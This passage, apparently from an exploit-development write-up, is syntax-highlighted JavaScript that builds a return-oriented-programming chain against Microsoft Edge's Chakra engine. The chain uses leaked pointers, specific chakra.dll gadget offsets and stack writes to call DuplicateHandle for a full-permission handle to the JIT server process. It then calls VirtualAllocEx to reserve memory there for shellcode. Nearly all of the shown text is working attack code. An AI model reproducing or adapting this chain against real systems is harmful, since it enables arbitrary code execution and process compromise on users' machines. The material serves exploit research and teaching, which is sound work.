	<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
	<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

	<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
	<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
	<span class="p">{</span>
	    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">// Begin ROP chain</span>
	<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
	<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
	<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

	<span class="c1">// DuplicateHandle() ROP chain</span>
	<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
	<span class="c1">// ACG is disabled in the JIT process</span>
	<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

	<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

	<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

	<span class="c1">// HANDLE hSourceHandle (RDX)</span>
	<span class="c1">// (HANDLE)-1 value of current process</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
	<span class="c1">// (HANDLE)-1 value of current process</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
	<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
	<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
	<span class="cm">/*
	0:053&gt; dqs chakra+0x72E000+0x20010
	00007ffc`052ae010  00000000`00000000
	00007ffc`052ae018  00000000`00000000
	*/</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
	<span class="c1">// Handle to the JIT process from the content process</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
	<span class="nx">next</span><span class="p">();</span> 
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// VirtuaAllocEx() ROP chain</span>
	<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

	<span class="c1">// DWORD flAllocationType (R9)</span>
	<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
	<span class="cm">/*
	0:031&gt; ? 0x00002000 | 0x00001000 
	Evaluate expression: 12288 = 00000000`00003000
	*/</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
	<span class="nx">next</span><span class="p">();</span>

	<span class="c1">// SIZE_T dwSize (R8)</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
	<span class="nx">next</span><span class="p">();</span>
